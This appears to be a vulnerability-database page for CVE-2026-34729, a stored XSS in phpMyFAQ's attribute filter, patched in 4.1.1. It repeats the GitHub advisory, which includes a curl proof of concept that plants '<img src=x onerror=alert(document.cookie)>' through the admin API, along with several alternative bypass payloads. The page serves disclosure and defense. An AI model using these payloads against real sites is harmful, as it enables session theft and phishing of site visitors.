CVE-2026-34729
phpMyFAQ: Stored XSS via Regex Bypass in Filter::removeAttributes()
phpMyFAQ is an open source FAQ web application. Prior to version 4.1.1, there is a stored XSS vulnerability via Regex Bypass in Filter::removeAttributes(). This issue has been patched in version 4.1.1.
Attack profile
How easy it is to exploit
- Attack vector
- Network
- Complexity
- Low
- Privileges needed
- High
- User interaction
- Required
What an attacker can affect
- Confidentiality
- High
- Integrity
- High
- Availability
- None
Exploit likelihood
What each source reports
CVE List Score used
6.1
phpMyFAQ: Stored XSS via Regex Bypass in Filter::removeAttributes()
phpMyFAQ is an open source FAQ web application. Prior to version 4.1.1, there is a stored XSS vulnerability via Regex Bypass in Filter::removeAttributes(). This issue has been patched in version 4.1.1.
- Record
CVE-2026-34729- CVSS 3.1
- 6.1 Medium
CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:U/C:H/I:H/A:N - Weakness
- CWE-79
- Updated
- 2026-11-02
EUVDEUVD-2026-18260
6.1
phpMyFAQ is an open source FAQ web application. Prior to version 4.1.1, there is a stored XSS vulnerability via Regex Bypass in Filter::removeAttributes(). This issue has been patched in version 4.1.1.
- Record
EUVD-2026-18260- CVSS 3.1
- 6.1 Medium
CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:U/C:H/I:H/A:N - Updated
- 2026-11-02
GitHub AdvisoriesGHSA-cv2g-8cj8-vgc7
6.1
phpMyFAQ: Stored XSS via Regex Bypass in Filter::removeAttributes()
Summary
The sanitization pipeline for FAQ content is:
Filter::filterVar($input, FILTER_SANITIZE_SPECIAL_CHARS)— encodes<,>,",',&to HTML entitieshtml_entity_decode($input, ENT_QUOTES | ENT_HTML5)— decodes entities back to charactersFilter::removeAttributes($input)— removes dangerous HTML attributes
The removeAttributes() regex at line 174 only matches attributes with double-quoted values:
preg_match_all(pattern: '/[a-z]+=".+"/iU', subject: $html, matches: $attributes);
This regex does NOT match:
- Attributes with single quotes:
onerror='alert(1)' - Attributes without quotes:
onerror=alert(1)
An attacker can bypass sanitization by submitting FAQ content with unquoted or single-quoted event handler attributes.
Details
Affected File: phpmyfaq/src/phpMyFAQ/Filter.php, line 174
Sanitization flow for FAQ question field:
FaqController::create() lines 110, 145-149:
$question = Filter::filterVar($data->question, FILTER_SANITIZE_SPECIAL_CHARS);
// ...
->setQuestion(Filter::removeAttributes(html_entity_decode(
(string) $question,
ENT_QUOTES | ENT_HTML5,
encoding: 'UTF-8',
)))
Template rendering: faq.twig line 36:
<h2 class="mb-4 border-bottom">{{ question | raw }}</h2>
How the bypass works:
- Attacker submits:
<img src=x onerror=alert(1)> - After
FILTER_SANITIZE_SPECIAL_CHARS:<img src=x onerror=alert(1)> - After
html_entity_decode():<img src=x onerror=alert(1)> preg_match_all('/[a-z]+=".+"/iU', ...)runs:- The regex requires
="..."(double quotes) onerror=alert(1)has NO quotes → NOT matchedsrc=xhas NO quotes → NOT matched- No attributes are found for removal
- The regex requires
- Output:
<img src=x onerror=alert(1)>(XSS payload intact) - Template renders with
|raw: JavaScript executes in browser
Why double-quoted attributes are (partially) protected:
For <img src="x" onerror="alert(1)">:
- The regex matches both
src="x"andonerror="alert(1)" srcis in$keep→ preservedonerroris NOT in$keep→ removed viastr_replace()- Output:
<img src="x">(safe)
But this protection breaks with single quotes or no quotes.
PoC
Step 1: Create FAQ with XSS payload (requires authenticated admin):
curl -X POST 'https://target.example.com/admin/api/faq/create' \
-H 'Content-Type: application/json' \
-H 'Cookie: PHPSESSID=admin_session' \
-d '{
"data": {
"pmf-csrf-token": "valid_csrf_token",
"question": "<img src=x onerror=alert(document.cookie)>",
"answer": "Test answer",
"lang": "en",
"categories[]": 1,
"active": "yes",
"tags": "test",
"keywords": "test",
"author": "test",
"email": "[email protected]"
}
}'
Step 2: XSS triggers on public FAQ page
Any user (including unauthenticated visitors) viewing the FAQ page triggers the XSS:
https://target.example.com/content/{categoryId}/{faqId}/{lang}/{slug}.html
The FAQ title is rendered with |raw in faq.twig line 36 without HtmlSanitizer processing (the processQuestion() method in FaqDisplayService only applies search highlighting, not cleanUpContent()).
Alternative payloads:
<img/src=x onerror=alert(1)>
<svg onload=alert(1)>
<details open ontoggle=alert(1)>
Impact
- Public XSS: The XSS executes for ALL users viewing the FAQ page, not just admins.
- Session hijacking: Steal session cookies of all users viewing the FAQ.
- Phishing: Display fake login forms to steal credentials.
- Worm propagation: Self-replicating XSS that creates new FAQs with the same payload.
- Malware distribution: Redirect users to malicious sites.
Note: While planting the payload requires admin access, the XSS executes for all visitors (public-facing). This is not self-XSS.
- Record
GHSA-cv2g-8cj8-vgc7- CVSS 3.1
- 6.1 Medium
CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:U/C:H/I:H/A:N - Weakness
- CWE-79
- Updated
- 2026-11-02
NVD
6.1
phpMyFAQ is an open source FAQ web application. Prior to version 4.1.1, there is a stored XSS vulnerability via Regex Bypass in Filter::removeAttributes(). This issue has been patched in version 4.1.1.
- Record
CVE-2026-34729- CVSS 3.1
- 6.1 Medium
CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:U/C:H/I:H/A:N - CVSS 3.1
- 4.8 Medium
CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:C/C:L/I:L/A:N - Weakness
- CWE-79
- Updated
- 2026-11-02
OSV
6.1
phpMyFAQ: Stored XSS via Regex Bypass in Filter::removeAttributes()
phpMyFAQ is an open source FAQ web application. Prior to version 4.1.1, there is a stored XSS vulnerability via Regex Bypass in Filter::removeAttributes(). This issue has been patched in version 4.1.1.
- Record
CVE-2026-34729- CVSS 3.1
- 6.1 Medium
CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:U/C:H/I:H/A:N - Weakness
- CWE-79
- Updated
- 2026-11-02
OSVGHSA-cv2g-8cj8-vgc7
6.1
phpMyFAQ: Stored XSS via Regex Bypass in Filter::removeAttributes()
Summary
The sanitization pipeline for FAQ content is:
Filter::filterVar($input, FILTER_SANITIZE_SPECIAL_CHARS)— encodes<,>,",',&to HTML entitieshtml_entity_decode($input, ENT_QUOTES | ENT_HTML5)— decodes entities back to charactersFilter::removeAttributes($input)— removes dangerous HTML attributes
The removeAttributes() regex at line 174 only matches attributes with double-quoted values:
preg_match_all(pattern: '/[a-z]+=".+"/iU', subject: $html, matches: $attributes);
This regex does NOT match:
- Attributes with single quotes:
onerror='alert(1)' - Attributes without quotes:
onerror=alert(1)
An attacker can bypass sanitization by submitting FAQ content with unquoted or single-quoted event handler attributes.
Details
Affected File: phpmyfaq/src/phpMyFAQ/Filter.php, line 174
Sanitization flow for FAQ question field:
FaqController::create() lines 110, 145-149:
$question = Filter::filterVar($data->question, FILTER_SANITIZE_SPECIAL_CHARS);
// ...
->setQuestion(Filter::removeAttributes(html_entity_decode(
(string) $question,
ENT_QUOTES | ENT_HTML5,
encoding: 'UTF-8',
)))
Template rendering: faq.twig line 36:
<h2 class="mb-4 border-bottom">{{ question | raw }}</h2>
How the bypass works:
- Attacker submits:
<img src=x onerror=alert(1)> - After
FILTER_SANITIZE_SPECIAL_CHARS:<img src=x onerror=alert(1)> - After
html_entity_decode():<img src=x onerror=alert(1)> preg_match_all('/[a-z]+=".+"/iU', ...)runs:- The regex requires
="..."(double quotes) onerror=alert(1)has NO quotes → NOT matchedsrc=xhas NO quotes → NOT matched- No attributes are found for removal
- The regex requires
- Output:
<img src=x onerror=alert(1)>(XSS payload intact) - Template renders with
|raw: JavaScript executes in browser
Why double-quoted attributes are (partially) protected:
For <img src="x" onerror="alert(1)">:
- The regex matches both
src="x"andonerror="alert(1)" srcis in$keep→ preservedonerroris NOT in$keep→ removed viastr_replace()- Output:
<img src="x">(safe)
But this protection breaks with single quotes or no quotes.
PoC
Step 1: Create FAQ with XSS payload (requires authenticated admin):
curl -X POST 'https://target.example.com/admin/api/faq/create' \
-H 'Content-Type: application/json' \
-H 'Cookie: PHPSESSID=admin_session' \
-d '{
"data": {
"pmf-csrf-token": "valid_csrf_token",
"question": "<img src=x onerror=alert(document.cookie)>",
"answer": "Test answer",
"lang": "en",
"categories[]": 1,
"active": "yes",
"tags": "test",
"keywords": "test",
"author": "test",
"email": "[email protected]"
}
}'
Step 2: XSS triggers on public FAQ page
Any user (including unauthenticated visitors) viewing the FAQ page triggers the XSS:
https://target.example.com/content/{categoryId}/{faqId}/{lang}/{slug}.html
The FAQ title is rendered with |raw in faq.twig line 36 without HtmlSanitizer processing (the processQuestion() method in FaqDisplayService only applies search highlighting, not cleanUpContent()).
Alternative payloads:
<img/src=x onerror=alert(1)>
<svg onload=alert(1)>
<details open ontoggle=alert(1)>
Impact
- Public XSS: The XSS executes for ALL users viewing the FAQ page, not just admins.
- Session hijacking: Steal session cookies of all users viewing the FAQ.
- Phishing: Display fake login forms to steal credentials.
- Worm propagation: Self-replicating XSS that creates new FAQs with the same payload.
- Malware distribution: Redirect users to malicious sites.
Note: While planting the payload requires admin access, the XSS executes for all visitors (public-facing). This is not self-XSS.
- Record
GHSA-cv2g-8cj8-vgc7- CVSS 3.1
- 6.1 Medium
CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:U/C:H/I:H/A:N - Weakness
- CWE-79
- Updated
- 2026-11-02
Affected products
Affected packages
| Package | Affected | Fixed |
|---|---|---|
phpmyfaq/phpmyfaqPackagist |
through 4.1.0 | 4.1.1 |
phpmyfaq/phpmyfaqPackagist |
before 4.1.1, plus listed versions 2.10.0-alpha2.8.02.8.0-RC2.8.0-RC22.8.0-RC3 Show 45 moreShow less2.8.0-RC42.8.0-alpha22.8.0-alpha32.8.0-beta2.8.0-beta22.8.0-beta32.8.12.8.102.8.112.8.122.8.132.8.142.8.152.8.162.8.172.8.182.8.192.8.22.8.202.8.212.8.222.8.232.8.242.8.252.8.262.8.272.8.282.8.292.8.32.8.42.8.52.8.62.8.72.8.82.8.92.9.02.9.0-alpha2.9.0-alpha22.9.0-alpha32.9.0-alpha42.9.0-beta2.9.0-beta22.9.0-rc2.9.0-rc22.9.0-rc3 |
4.1.1 |
History
| Recorded | Changed | Sources |
|---|---|---|
| first indexed | CVE List, EUVD, GitHub Advisories, NVD, OSV |
Dates are when Every CVE recorded each change. Upstream dates may differ.
In short
CVE-2026-34729 is a medium vulnerability (CVSS 6.1) in Phpmyfaq, published April 1, 2026. No source lists public exploit code. EPSS puts the chance of exploitation in the next 30 days at 0.25%, the 16th percentile. Fixed in phpmyfaq/phpmyfaq 4.1.1.
References
github.com/thorsten/phpMyFAQ/security/advisories/GHSA-cv2g-8cj8-vgc7
github.com/thorsten/phpMyFAQ/releases/tag/4.1.1
nvd.nist.gov/vuln/detail/CVE-2026-34729
github.com/advisories/GHSA-cv2g-8cj8-vgc7
github.com/CVEProject/cvelistV5/tree/main/cves/2026/34xxx/CVE-2026-34729.json
github.com/thorsten/phpMyFAQ
Left out here: 119 versions. The JSON record has them.